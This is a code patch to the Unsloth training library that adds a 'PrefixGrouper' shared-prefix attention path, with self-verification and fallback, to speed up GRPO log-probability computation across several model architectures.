Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 unsloth/models/cohere.py               |   5 +
 unsloth/models/gemma2.py               |   7 +
 unsloth/models/granite.py              |   5 +
 unsloth/models/llama.py                |  12 +-
 unsloth/models/mistral.py              |  13 +-
 unsloth/models/qwen3.py                |   5 +
 unsloth/models/rl_replacements.py      | 263 ++++++++++++++-
 unsloth/utils/attention_dispatch.py    |  65 ++++
 unsloth/utils/prefix_grouper.py        | 351 ++++++++++++++++++++
 unsloth/utils/prefix_grouper_kernel.py | 436 +++++++++++++++++++++++++
 10 files changed, 1156 insertions(+), 6 deletions(-)
 create mode 100644 unsloth/utils/prefix_grouper.py
 create mode 100644 unsloth/utils/prefix_grouper_kernel.py

diff --git a/unsloth/models/cohere.py b/unsloth/models/cohere.py
index 0b7f3ab973..cb367d451e 100644
--- a/unsloth/models/cohere.py
+++ b/unsloth/models/cohere.py
@@ -22,6 +22,7 @@ from ..utils.attention_dispatch import (
     AttentionContext,
     run_attention,
     select_attention_backend,
+    resolve_prefix_seg_info,
 )
 
 try:
@@ -151,6 +152,9 @@ def CohereAttention_fast_forward(
             "softmax_scale": getattr(self, "softmax_scale", None),
         },
     )
+    # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward; misuse
+    # (KV cache / padding mask) raises. None => byte-identical default.
+    _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
     context = AttentionContext(
         bsz = bsz,
         q_len = q_len,
@@ -161,6 +165,7 @@ def CohereAttention_fast_forward(
         seq_info = seq_info,
         attention_mask = attention_mask,
         causal_mask = causal_mask,
+        prefix_seg_info = _pg_seg,
     )
 
     A = run_attention(config = attention_config, context = context, Q = Q, K = K, V = V)
diff --git a/unsloth/models/gemma2.py b/unsloth/models/gemma2.py
index 68b9ebe22f..4a0531db78 100644
--- a/unsloth/models/gemma2.py
+++ b/unsloth/models/gemma2.py
@@ -22,6 +22,7 @@ from ..utils.attention_dispatch import (
     AttentionContext,
     run_attention,
     select_attention_backend,
+    resolve_prefix_seg_info,
     SDPA,
 )
 from .gemma import (
@@ -168,6 +169,11 @@ def Gemma2Attention_fast_forward(
             },
         )
 
+        # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward; misuse
+        # (KV cache / padding mask) raises. None => byte-identical default. gemma2 is
+        # sliding-window and softcapped: the engage gate caps spans at the window and
+        # excludes softcap models entirely, so PG never engages here.
+        _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
         context = AttentionContext(
             bsz = bsz,
             q_len = q_len,
@@ -179,6 +185,7 @@ def Gemma2Attention_fast_forward(
             attention_mask = attention_mask,
             causal_mask = causal_mask,
             sliding_window = sliding_window,
+            prefix_seg_info = _pg_seg,
         )
 
         A = run_attention(config = attention_config, context = context, Q = Q, K = K, V = V)
diff --git a/unsloth/models/granite.py b/unsloth/models/granite.py
index f5b0f57aa6..4dedf642eb 100644
--- a/unsloth/models/granite.py
+++ b/unsloth/models/granite.py
@@ -23,6 +23,7 @@ from ..utils.attention_dispatch import (
     AttentionContext,
     run_attention,
     select_attention_backend,
+    resolve_prefix_seg_info,
     SDPA,
 )
 from .llama import (
@@ -159,6 +160,9 @@ def GraniteAttention_fast_forward(
         },
     )
 
+    # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward; misuse
+    # (KV cache / padding mask) raises. None => byte-identical default.
+    _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
     context = AttentionContext(
         bsz = bsz,
         q_len = q_len,
@@ -169,6 +173,7 @@ def GraniteAttention_fast_forward(
         seq_info = seq_info,
         attention_mask = attention_mask,
         causal_mask = causal_mask,
+        prefix_seg_info = _pg_seg,
     )
 
     A = run_attention(config = attention_config, context = context, Q = Q, K = K, V = V)
diff --git a/unsloth/models/llama.py b/unsloth/models/llama.py
index 6bec95b577..417a88f480 100644
--- a/unsloth/models/llama.py
+++ b/unsloth/models/llama.py
@@ -39,6 +39,7 @@ from ..utils.attention_dispatch import (
     run_attention,
     SDPA,
     select_attention_backend,
+    resolve_prefix_seg_info,
 )
 from torch.nn.functional import scaled_dot_product_attention
 from transformers import __version__ as transformers_version
@@ -738,6 +739,10 @@ def LlamaAttention_fast_forward(
         flash_dense_kwargs = {"causal": True},
         flash_varlen_kwargs = {"dropout_p": 0.0, "causal": True},
     )
+    # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward (same route
+    # as packed_seq_lengths); misuse (KV cache / padding mask) raises. None => byte-identical
+    # default. Reuse of this forward also carries the branch to qwen2 & gemma.
+    _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
     context = AttentionContext(
         bsz = bsz,
         q_len = q_len,
@@ -748,6 +753,7 @@ def LlamaAttention_fast_forward(
         seq_info = seq_info,
         attention_mask = attention_mask,
         causal_mask = causal_mask,
+        prefix_seg_info = _pg_seg,
     )
 
     A = run_attention(config = config, context = context, Q = Q, K = K, V = V)
@@ -895,8 +901,10 @@ def LlamaModel_fast_forward(
     seq_length_with_past = seq_length
 
     # Fix out of bounds tokenization unless we were given packed metadata
-    allow_overlength = getattr(self, "_unsloth_allow_packed_overlength", False) or (
-        "packed_seq_lengths" in kwargs
+    allow_overlength = (
+        getattr(self, "_unsloth_allow_packed_overlength", False)
+        or ("packed_seq_lengths" in kwargs)
+        or ("prefix_seg_info" in kwargs and kwargs["prefix_seg_info"] is not None)
     )
     if hasattr(self, "max_seq_length") and not allow_overlength:
         if seq_length > self.max_seq_length:
diff --git a/unsloth/models/mistral.py b/unsloth/models/mistral.py
index df2a4de5bd..4350565fe2 100644
--- a/unsloth/models/mistral.py
+++ b/unsloth/models/mistral.py
@@ -27,6 +27,7 @@ from ..utils.attention_dispatch import (
     run_attention,
     SDPA,
     select_attention_backend,
+    resolve_prefix_seg_info,
 )
 from .llama import (
     LlamaRotaryEmbedding,
@@ -124,6 +125,9 @@ def MistralAttention_fast_forward(
             "softmax_scale": getattr(self, "softmax_scale", None),
         },
     )
+    # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward; misuse
+    # (KV cache / padding mask) raises. None => byte-identical default.
+    _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
     context = AttentionContext(
         bsz = bsz,
         q_len = q_len,
@@ -134,6 +138,7 @@ def MistralAttention_fast_forward(
         seq_info = seq_info,
         attention_mask = attention_mask,
         causal_mask = causal_mask,
+        prefix_seg_info = _pg_seg,
     )
 
     A = run_attention(config = attention_config, context = context, Q = Q, K = K, V = V)
@@ -161,7 +166,13 @@ def MistralForCausalLM_fast_forward(
     *args,
     **kwargs,
 ) -> Union[Tuple, CausalLMOutputWithPast]:
-    if causal_mask is None and past_key_values is None:
+    # PrefixGrouper brings its own mask: a synthesized causal attention_mask would trip
+    # resolve_prefix_seg_info on the no-xFormers path and force a fallback.
+    if (
+        causal_mask is None
+        and past_key_values is None
+        and kwargs.get("prefix_seg_info", None) is None
+    ):
         bsz, q_len = input_ids.shape
         sliding_window = getattr(self.config, "sliding_window", None)
 
diff --git a/unsloth/models/qwen3.py b/unsloth/models/qwen3.py
index e28e72d3ea..0d05a2d538 100644
--- a/unsloth/models/qwen3.py
+++ b/unsloth/models/qwen3.py
@@ -23,6 +23,7 @@ from ..utils.attention_dispatch import (
     run_attention,
     SDPA,
     select_attention_backend,
+    resolve_prefix_seg_info,
 )
 from .llama import (
     LlamaRotaryEmbedding,
@@ -146,6 +147,9 @@ def Qwen3Attention_fast_forward(
             "softmax_scale": getattr(self, "softmax_scale", None),
         },
     )
+    # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward; misuse
+    # (KV cache / padding mask) raises. None => byte-identical default.
+    _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
     context = AttentionContext(
         bsz = bsz,
         q_len = q_len,
@@ -156,6 +160,7 @@ def Qwen3Attention_fast_forward(
         seq_info = seq_info,
         attention_mask = attention_mask,
         causal_mask = causal_mask,
+        prefix_seg_info = _pg_seg,
     )
 
     A = run_attention(config = attention_config, context = context, Q = Q, K = K, V = V)
diff --git a/unsloth/models/rl_replacements.py b/unsloth/models/rl_replacements.py
index 0573fd5fd8..098950de08 100644
--- a/unsloth/models/rl_replacements.py
+++ b/unsloth/models/rl_replacements.py
@@ -31,6 +31,7 @@ from unsloth_zoo.rl_replacements import (
     left_pack_padding,
     create_completion_attention_mask,
     chunked_selective_log_softmax,
+    chunked_hidden_states_selective_log_softmax,
     _unsloth_get_mm_token_id,
     _unsloth_fix_mm_token_type_ids,
 )
@@ -65,6 +66,25 @@ try:
     )
 except Exception:
     UNSLOTH_ZOO_HAS_MASKED_COL_GUARD = False
+# One-time PrefixGrouper gate; any import failure degrades to "PrefixGrouper off".
+_pg_build_layout = _pg_enabled_fn = _pg_verify_on = _pg_tol_ok = _PG_TOL_KILL = None
+UNSLOTH_GRPO_PREFIX_GROUPER_ON = os.environ.get("UNSLOTH_GRPO_PREFIX_GROUPER", "1").lower() not in (
+    "0",
+    "false",
+    "no",
+    "off",
+)
+if UNSLOTH_GRPO_PREFIX_GROUPER_ON:
+    try:
+        from ..utils.prefix_grouper import (
+            build_group_layout as _pg_build_layout,
+            prefix_grouper_enabled as _pg_enabled_fn,
+            verify_on as _pg_verify_on,
+            tol_ok as _pg_tol_ok,
+            TOL_KILL as _PG_TOL_KILL,
+        )
+    except Exception:
+        UNSLOTH_GRPO_PREFIX_GROUPER_ON = False
 
 RL_EXTRA_ARGS = defaultdict(list)
 RL_FUNCTIONS = defaultdict(list)
@@ -1380,6 +1400,166 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
             # left-pad RoPE error). Self-verified against the per-row forward, re-checked as T
             # grows; falls back if a backend ignores packed_seq_lengths.
             logprobs = None
+
+            # ---- PrefixGrouper (GRPO shared-prompt dedup; default ON, exact + self-verified) ----
+            # G completions per prompt share the prefix; the packed path forwards it G times,
+            # PrefixGrouper stores it once (FlexAttention shared-prefix mask), cutting the trunk
+            # forward from G*(P+R) to P+G*R tokens. Gated by UNSLOTH_GRPO_PREFIX_GROUPER (needs
+            # seq-packing), tok_r auto-gate, and first-use self-verify vs the packed path
+            # (mismatch => fall back + mark unsafe), so a mask/isolation regression cannot ship
+            # silently. When off / ungrouped / unverified, the packed path below runs as before.
+            _pg_result = None
+            _pg_use = False
+            _pg_skip_pk = False  # once a shape is PG-verified, skip the full-row forward
+            _pg_forward_fn = None  # deferred PG forward (runs at the verify site below)
+            _pg_num_gen = getattr(self, "num_generations", None)
+            # Env gate hoisted to module level (mirrored via RL_PRE_ITEMS). Skip PG under vLLM
+            # (fast_inference=True): the rollout dominates the step, so PG saves little and its
+            # first-use self-verify is net overhead.
+            _pg_engage = (
+                UNSLOTH_GRPO_PREFIX_GROUPER_ON
+                and not getattr(self, "use_vllm", False)
+                and not getattr(unwrapped_model, "_unsloth_prefix_grouper_nograd_disabled", False)
+            )
+            if _pg_engage:
+                try:
+                    # Skip softcap models (the flex kernel never applies attn_logit_softcapping)
+                    # and hybrid SSM / MoE models: only the threaded attention forwards get the
+                    # shared-prefix isolation, so a Mamba or MoE decoder that does not forward
+                    # prefix_seg_info would leak suffixes across completions. PG also rides on
+                    # sequence packing, so it needs the same zoo masked-column guard.
+                    _pg_cfg = getattr(unwrapped_model, "config", None)
+                    _pg_engage = (
+                        _pg_enabled_fn()
+                        and UNSLOTH_ZOO_HAS_MASKED_COL_GUARD
+                        and pixel_values is None
+                        and token_type_ids is None
+                        and mm_token_type_ids is None
+                        and _pg_num_gen is not None
+                        and _pg_num_gen >= 2
+                        and not getattr(_pg_cfg, "attn_logit_softcapping", None)
+                        # normal backends apply config.attention_dropout in training; the flex
+                        # path is deterministic, so skip PG when it is set.
+                        and not getattr(_pg_cfg, "attention_dropout", 0)
+                        and not any(
+                            getattr(_pg_cfg, _pg_a, None) is not None
+                            for _pg_a in (
+                                "mamba_d_ssm",
+                                "mamba_d_state",
+                                "mamba_expand",
+                                "num_experts",
+                                "num_local_experts",
+                                "n_routed_experts",
+                                "moe_intermediate_size",
+                            )
+                        )
+                    )
+                except Exception:
+                    _pg_engage = False
+            if _pg_engage:
+                try:
+                    _pg_pad = self.processing_class.pad_token_id
+                    # cap the PG span (P+max(R)) at the sliding window, like the packed _pk_sw guard.
+                    _pg_sw = getattr(
+                        getattr(unwrapped_model, "config", None), "sliding_window", None
+                    )
+                    if not (isinstance(_pg_sw, int) and _pg_sw > 0):
+                        _pg_sw = None
+                    _pg_layout = _pg_build_layout(
+                        input_ids,
+                        logits_to_keep,
+                        _pg_pad,
+                        _pg_num_gen,
+                        left_pad_tokens_per_prompt,
+                        max_segment_cap = _pg_sw,
+                    )
+                    _pg_unsafe = getattr(
+                        unwrapped_model, "_unsloth_prefix_grouper_nograd_unsafe", None
+                    )
+                    if _pg_unsafe is None:
+                        _pg_unsafe = set()
+                    if _pg_layout is not None and _pg_layout.signature not in _pg_unsafe:
+                        _pg_sig = _pg_layout.signature
+                        _pg_verified = getattr(
+                            unwrapped_model, "_unsloth_prefix_grouper_nograd_verified", None
+                        )
+                        if _pg_verified is None:
+                            _pg_verified = set()
+                        _pg_chunks = max(1, total_rows * multiplier)
+
+                        def _pg_run_forward(_pg_layout = _pg_layout, _pg_chunks = _pg_chunks):
+                            with _get_inference_mode_context_manager(model):
+                                with torch.amp.autocast(
+                                    device_type = "cuda", dtype = self._autocast_dtype
+                                ):
+                                    _pg_hidden = unwrapped_model(
+                                        input_ids = _pg_layout.flat_ids,
+                                        position_ids = _pg_layout.position_ids,
+                                        prefix_seg_info = _pg_layout.prefix_seg_info,
+                                        use_cache = False,
+                                    ).logits
+                                    _pg_r = _pg_layout.extract_logps(
+                                        _pg_hidden,
+                                        lm_head,
+                                        chunked_hidden_states_selective_log_softmax,
+                                        _pg_chunks,
+                                        logit_scale_multiply,
+                                        logit_scale_divide,
+                                        logit_softcapping,
+                                        temperature,
+                                    )
+                                    _pg_hidden = None  # release before any verify forward
+                            device_synchronize()
+                            # clip to the loss window [B, logits_to_keep+max_left_pad]
+                            _pg_w = logits_to_keep + max_left_pad
+                            if _pg_r.shape[1] > _pg_w:
+                                _pg_r = _pg_r[:, -_pg_w:]
+                            return _pg_r
+
+                        # trust only within the verified envelope: re-verify when T or the
+                        # longest segment grows, like the packed path
+                        _pg_T = int(_pg_layout.flat_ids.shape[1])
+                        _pg_maxseg = int(_pg_layout.position_ids.max()) + 1
+                        _pg_env = (
+                            _pg_verified.get(_pg_sig) if isinstance(_pg_verified, dict) else None
+                        )
+                        if (not _pg_verify_on()) or (
+                            _pg_env is not None and _pg_T <= _pg_env[0] and _pg_maxseg <= _pg_env[1]
+                        ):
+                            # trusted shape: run PG now and skip the full-row forward below
+                            _pg_result = _pg_run_forward()
+                            _pg_use = True
+                            _pg_skip_pk = True
+                        else:
+                            # unverified shape: defer the forward until the packed reference
+                            # exists (verify site below), so a declined packed path never wastes
+                            # a whole-batch PG forward
+                            _pg_forward_fn = _pg_run_forward
+                except Exception as _pg_err:
+                    _pg_result = None
+                    _pg_use = False
+                    _pg_skip_pk = False
+                    _pg_forward_fn = None
+                    # A FlexAttention/Triton compile failure or OOM here is GPU-wide, not
+                    # layout-specific, so retrying the same PG forward every step just re-pays
+                    # the failure. Persistently disable PG (mirrors the seq-packing handler
+                    # setting _unsloth_seq_packing_nograd_ok = False); the packed/padded path
+                    # below still produces the exact result.
+                    unwrapped_model._unsloth_prefix_grouper_nograd_disabled = True
+                    if isinstance(_pg_err, torch.cuda.OutOfMemoryError):
+                        torch.cuda.empty_cache()
+                    os.environ["UNSLOTH_RETURN_HIDDEN_STATES"] = "1"
+                    if UNSLOTH_ENABLE_LOGGING:
+                        print(
+                            f"[Unsloth] GRPO PrefixGrouper (no-grad) disabled (fell back to packed): {_pg_err!r}",
+                            flush = True,
+                        )
+
+            # ---- Sequence packing (default-on; disable with UNSLOTH_GRPO_SEQ_PACKING=0) ----
+            # One varlen [1, sum L] block-diagonal forward replaces the padded [B, Lmax] loop
+            # (exact per-row result; also fixes the padded path's left-pad RoPE error).
+            # Self-verified vs the per-row forward, re-checked as T grows; falls back if a
+            # backend ignores packed_seq_lengths. lm_head runs on completion positions only.
             _pk_result = None
             _pk_use = False
             _pk_enabled = UNSLOTH_GRPO_SEQ_PACKING_ON
@@ -1388,6 +1568,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
             _pk_ok = getattr(unwrapped_model, "_unsloth_seq_packing_nograd_ok", None)
             if (
                 _pk_enabled
+                and not _pg_skip_pk
                 and pixel_values is None
                 and token_type_ids is None
                 and mm_token_type_ids is None
@@ -1462,7 +1643,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                                 )[0]
                         # GPT-OSS offload race guard (matches the padded loop)
                         device_synchronize()
-                        # scatter each completion logprob back to its (row, col) so [:, -_pk_W:] matches padded
+                        # scatter each logprob back to its (row, col) so [:, -_pk_W:] matches padded
                         _pk_tgt = (_pk_nz_idx[1:, 0] * _pk_L + _pk_nz_idx[1:, 1])[_pk_ctgt]
                         _pk_result = (
                             torch.zeros(
@@ -1574,7 +1755,73 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                             f"[Unsloth] GRPO sequence-packing (no-grad) disabled (fell back to padded): {_pk_err!r}",
                             flush = True,
                         )
-            if _pk_use and _pk_result is not None:
+            # ---- PrefixGrouper first-use self-verify (no-grad) ----
+            # Compare the untrusted PG result to the full-row packed result (itself verified vs
+            # per-row) over the completion mask: < tol_ok -> trust the structure; >= TOL_KILL ->
+            # unsafe forever; borderline -> fall back this shape.
+            if _pg_forward_fn is not None and not _pg_use:
+                if _pk_use and _pk_result is not None:
+                    try:
+                        # deferred PG forward, run only now that the packed reference exists
+                        _pg_result = _pg_forward_fn()
+                        _pg_W2 = logits_to_keep + max_left_pad
+                        _pg_cm = create_completion_attention_mask(
+                            input_ids[:, -_pg_W2:],
+                            left_pad_tokens_per_prompt,
+                            max_left_pad,
+                            self.processing_class.pad_token_id,
+                        ).float()
+                        _pg_a = _pg_result[:, -_pg_W2:].float()
+                        _pg_b = _pk_result[:, -_pg_W2:].float()
+                        _pg_diff = float(((_pg_a - _pg_b).abs() * _pg_cm).max())
+                        if UNSLOTH_ENABLE_LOGGING:
+                            print(
+                                f"[Unsloth] GRPO PrefixGrouper (no-grad) verify: sig={_pg_layout.signature} "
+                                f"shared-prefix vs full-row-packed max|d|={_pg_diff:.4f}",
+                                flush = True,
+                            )
+                        if _pg_diff < _pg_tol_ok():
+                            _pg_v = getattr(
+                                unwrapped_model, "_unsloth_prefix_grouper_nograd_verified", None
+                            )
+                            if not isinstance(_pg_v, dict):
+                                _pg_v = {}
+                            _pg_vT = int(_pg_layout.flat_ids.shape[1])
+                            _pg_vS = int(_pg_layout.position_ids.max()) + 1
+                            _pg_old = _pg_v.get(_pg_layout.signature, (0, 0))
+                            _pg_v[_pg_layout.signature] = (
+                                max(_pg_vT, _pg_old[0]),
+                                max(_pg_vS, _pg_old[1]),
+                            )
+                            unwrapped_model._unsloth_prefix_grouper_nograd_verified = _pg_v
+                            _pg_use = True
+                        else:
+                            _pg_u = getattr(
+                                unwrapped_model, "_unsloth_prefix_grouper_nograd_unsafe", None
+                            )
+                            if _pg_u is None:
+                                _pg_u = set()
+                            if _pg_diff >= _PG_TOL_KILL:
+                                _pg_u.add(_pg_layout.signature)
+                                unwrapped_model._unsloth_prefix_grouper_nograd_unsafe = _pg_u
+                            _pg_use = False
+                    except Exception as _pg_err3:
+                        _pg_result = None
+                        _pg_use = False
+                        if isinstance(_pg_err3, torch.cuda.OutOfMemoryError):
+                            torch.cuda.empty_cache()
+                        os.environ["UNSLOTH_RETURN_HIDDEN_STATES"] = "1"
+                        if UNSLOTH_ENABLE_LOGGING:
+                            print(
+                                f"[Unsloth] GRPO PrefixGrouper (no-grad) verify failed (fell back to packed): {_pg_err3!r}",
+                                flush = True,
+                            )
+                # else: no packed reference (packing off/failed) -> cannot verify; fall back.
+
+            if _pg_use and _pg_result is not None:
+                logprobs = _pg_result  # PrefixGrouper verified/trusted -> skip the loop
+                zipped_inputs = []
+            elif _pk_use and _pk_result is not None:
                 logprobs = _pk_result  # verified -> skip the loop
                 zipped_inputs = []
             else:
@@ -1752,7 +1999,7 @@ RL_PRE_ITEMS["grpo_trainer"].append(
     "import os as _unsloth_os\n"
     "UNSLOTH_ENABLE_LOGGING = _unsloth_os.environ.get('UNSLOTH_ENABLE_LOGGING', '0') in ('1', 'True', 'true')\n"
 )
-# One-time sequence-packing gates, same values as the module-top constants above.
+# Sequence-packing gates, same values as the module-top constants.
 RL_PRE_ITEMS["grpo_trainer"].append(
     "UNSLOTH_GRPO_SEQ_PACKING_ON = _unsloth_os.environ.get('UNSLOTH_GRPO_SEQ_PACKING', '1').lower() not in ('0', 'false', 'no', 'off')\n"
 )
@@ -1764,6 +2011,16 @@ RL_PRE_ITEMS["grpo_trainer"].append(
     "except Exception:\n"
     "    UNSLOTH_ZOO_HAS_MASKED_COL_GUARD = False\n"
 )
+# PrefixGrouper gate, same shape as the module-top constants.
+RL_PRE_ITEMS["grpo_trainer"].append(
+    "_pg_build_layout = _pg_enabled_fn = _pg_verify_on = _pg_tol_ok = _PG_TOL_KILL = None\n"
+    "UNSLOTH_GRPO_PREFIX_GROUPER_ON = _unsloth_os.environ.get('UNSLOTH_GRPO_PREFIX_GROUPER', '1').lower() not in ('0', 'false', 'no', 'off')\n"
+    "if UNSLOTH_GRPO_PREFIX_GROUPER_ON:\n"
+    "    try:\n"
+    "        from unsloth.utils.prefix_grouper import build_group_layout as _pg_build_layout, prefix_grouper_enabled as _pg_enabled_fn, verify_on as _pg_verify_on, tol_ok as _pg_tol_ok, TOL_KILL as _PG_TOL_KILL\n"
+    "    except Exception:\n"
+    "        UNSLOTH_GRPO_PREFIX_GROUPER_ON = False\n"
+)
 
 
 # Edit _get_per_token_logps to handle mixed precision
diff --git a/unsloth/utils/attention_dispatch.py b/unsloth/utils/attention_dispatch.py
index 2e984bad0a..68fb33dad9 100644
--- a/unsloth/utils/attention_dispatch.py
+++ b/unsloth/utils/attention_dispatch.py
@@ -17,6 +17,7 @@
 
 from __future__ import annotations
 
+import os
 from dataclasses import dataclass
 from typing import Any, Optional, Tuple
 
@@ -42,6 +43,17 @@ if HAS_XFORMERS and torch.cuda.is_available():
         HAS_XFORMERS = False
 SDPA_HAS_GQA = "enable_gqa" in (scaled_dot_product_attention.__doc__ or "")
 
+# PrefixGrouper kernel, resolved once when the env gate is on so PG-off users never load
+# torch flex_attention.
+_flex_shared_prefix_attention = None
+if os.environ.get("UNSLOTH_GRPO_PREFIX_GROUPER", "1").lower() not in ("0", "false", "no", "off"):
+    try:
+        from .prefix_grouper_kernel import (
+            flex_shared_prefix_attention as _flex_shared_prefix_attention,
+        )
+    except Exception:
+        _flex_shared_prefix_attention = None
+
 FLASH_VARLEN = "flash_varlen"
 FLASH_DENSE = "flash_dense"
 XFORMERS = "xformers"
@@ -84,6 +96,9 @@ class AttentionContext:
     attention_mask: Optional[Tensor]
     causal_mask: Optional[Any]
     sliding_window: Optional[int] = None
+    # PrefixGrouper: non-None routes Q/K/V through the FlexAttention shared-prefix kernel;
+    # None leaves every existing construction/behavior unchanged.
+    prefix_seg_info: Optional[Any] = None
 
 
 def select_attention_backend(use_varlen: bool = False) -> str:
@@ -99,6 +114,33 @@ def select_attention_backend(use_varlen: bool = False) -> str:
     return SDPA
 
 
+def resolve_prefix_seg_info(kwargs, past_key_value, attention_mask):
+    """PrefixGrouper shared-prefix segment table resolver for the arch attention forwards.
+
+    The GRPO PrefixGrouper packed path rides a ``PrefixSegInfo`` in through ``**kwargs``
+    (same route as ``packed_seq_lengths``). When present, the forward must route Q/K/V
+    through the FlexAttention shared-prefix kernel via ``AttentionContext.prefix_seg_info``.
+
+    Returns the seg table (or ``None`` when PrefixGrouper did not group this batch -- the
+    unchanged path). Hardened: the shared-prefix stream is NOT a plain causal sequence, so running
+    it under a KV cache or an explicit padding mask would silently produce wrong logprobs.
+    That combination can only arise from misuse (PrefixGrouper only rides in via the GRPO
+    logprob forward, which is mask-free prefill), so we RAISE loudly instead of degrading
+    to a wrong result.
+
+    Factored here so every arch (llama/mistral/qwen3/gemma2/cohere/granite/falcon_h1)
+    shares one implementation and cannot drift.
+    """
+    seg = kwargs.get("prefix_seg_info", None)
+    if seg is not None and (past_key_value is not None or attention_mask is not None):
+        raise RuntimeError(
+            "PrefixGrouper: prefix_seg_info requires prefill with no KV cache and no "
+            f"attention_mask (got past_key_value={past_key_value is not None}, "
+            f"attention_mask={attention_mask is not None})."
+        )
+    return seg
+
+
 def run_attention(
     *, config: AttentionConfig, context: AttentionContext, Q: Tensor, K: Tensor, V: Tensor
 ) -> Tensor:
@@ -111,6 +153,28 @@ def run_attention(
     and SDPA handle packing via a block-diagonal mask.
     """
 
+    # PrefixGrouper shared-prefix attention (GRPO dedup). Q/K/V here are [bsz, H, T, D];
+    # the kernel takes/returns [1, T, H, D], matching the other backends. The field is
+    # only set when the env gate is on and grouping succeeded; None keeps every backend
+    # byte-identical.
+    if context.prefix_seg_info is not None:
+        flex_shared_prefix_attention = _flex_shared_prefix_attention
+        if flex_shared_prefix_attention is None:
+            # gate flipped on after import (or one-time load failed): resolve lazily.
+            from ..utils.prefix_grouper_kernel import flex_shared_prefix_attention
+
+        scale = None
+        if config.flash_varlen_kwargs:
+            scale = config.flash_varlen_kwargs.get("softmax_scale")
+        A = flex_shared_prefix_attention(
+            Q.transpose(1, 2),
+            K.transpose(1, 2),
+            V.transpose(1, 2),
+            context.prefix_seg_info,
+            scale = scale,
+        )
+        return A  # [1, T, n_heads, head_dim]
+
     backend = config.backend
     if backend == FLASH_VARLEN and context.seq_info is None:
         backend = FLASH_DENSE if HAS_FLASH_ATTENTION else SDPA
@@ -337,5 +401,6 @@ __all__ = [
     "AttentionConfig",
     "AttentionContext",
     "select_attention_backend",
+    "resolve_prefix_seg_info",
     "run_attention",
 ]
diff --git a/unsloth/utils/prefix_grouper.py b/unsloth/utils/prefix_grouper.py
new file mode 100644
index 0000000000..4e6ff9672c
--- /dev/null
+++ b/unsloth/utils/prefix_grouper.py
@@ -0,0 +1,351 @@
+# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Affero General Public License for more details.
+#
+# You should have received a copy of the GNU Affero General Public License
+# along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+"""PrefixGrouper layout builder + completion-logprob extraction for the Unsloth GRPO
+packed path (all archs that route through the varlen attention dispatch).
+
+Given the de-padded, LEFT-PACKED input_ids the packed GRPO path already works with, this
+module:
+
+  1. Detects consecutive ``num_generations`` rows that share a prompt prefix (byte-
+     identical prompt precondition; falls back / returns None otherwise).
+  2. Builds ONE flat shared-prefix stream across all groups
+     ``[ prefix_g0, suf_g0_0 .. suf_g0_{G-1}, prefix_g1, ... ]`` with position_ids that
+     continue each prefix positionally, plus a ``PrefixSegInfo`` segment table for the
+     FlexAttention shared-prefix kernel.
+  3. Extracts completion logprobs via the index map (completion pos ``j==0`` predicted
+     from the shared prefix's last token; ``j>=1`` from the preceding suffix token) and
+     scatters them back into ``[total_rows, W]`` EXACTLY where the full-row packed path
+     puts them (dest = ``orig_row*L + orig_col``), so grpo_compute_loss / completion_mask
+     / TIS / metrics are byte-untouched.
+
+The flat stream is built by GATHERING original (row, col) coordinates out of input_ids,
+so the grad path's autograd flows to the same embedding rows as today (the shared prefix
+now contributes grad once = the sum of the G repeats, which is mathematically identical).
+
+``chunked_hidden_states_selective_log_softmax`` (from unsloth_zoo, passed in) is reused
+verbatim over the gathered predicting-position hidden states, so fp32 accumulation,
+logit_scale/softcapping/temperature are all preserved.
+
+Env:
+  UNSLOTH_GRPO_PREFIX_GROUPER=1            engage (default ON; set 0 to disable). Auto-off under vLLM.
+  UNSLOTH_GRPO_PREFIX_GROUPER_TOKR=1.3     tok_r auto-gate threshold (env-overridable)
+  UNSLOTH_GRPO_PREFIX_GROUPER_VERIFY=1     first-step self-verify (default ON)
+  UNSLOTH_GRPO_PREFIX_GROUPER_TOL=0.7      self-verify PASS band (nats)
+"""
+
+from __future__ import annotations
+
+import os
+from dataclasses import dataclass
+from typing import List, Optional, Tuple
+
+import torch
+
+from .prefix_grouper_kernel import build_seg_info_multigroup, PrefixSegInfo
+
+
+# ---------------------------------------------------------------------------
+# Env helpers
+# ---------------------------------------------------------------------------
+def env_on(name: str, default: str = "0") -> bool:
+    return os.environ.get(name, default).lower() not in ("0", "false", "no", "off")
+
+
+# One-time env reads; the helpers stay callable since unsloth_zoo imports and calls them.
+_ENABLED = env_on("UNSLOTH_GRPO_SEQ_PACKING", "1") and env_on("UNSLOTH_GRPO_PREFIX_GROUPER", "1")
+_VERIFY_ON = env_on("UNSLOTH_GRPO_PREFIX_GROUPER_VERIFY", "1")
+_TOKR_THRESHOLD = float(os.environ.get("UNSLOTH_GRPO_PREFIX_GROUPER_TOKR", "1.3"))
+_TOL_OK = float(os.environ.get("UNSLOTH_GRPO_PREFIX_GROUPER_TOL", "0.7"))
+
+
+def prefix_grouper_enabled() -> bool:
+    """PrefixGrouper requires seq-packing on (it reuses its de-pad + scatter machinery)."""
+    return _ENABLED
+
+
+def verify_on() -> bool:
+    return _VERIFY_ON
+
+
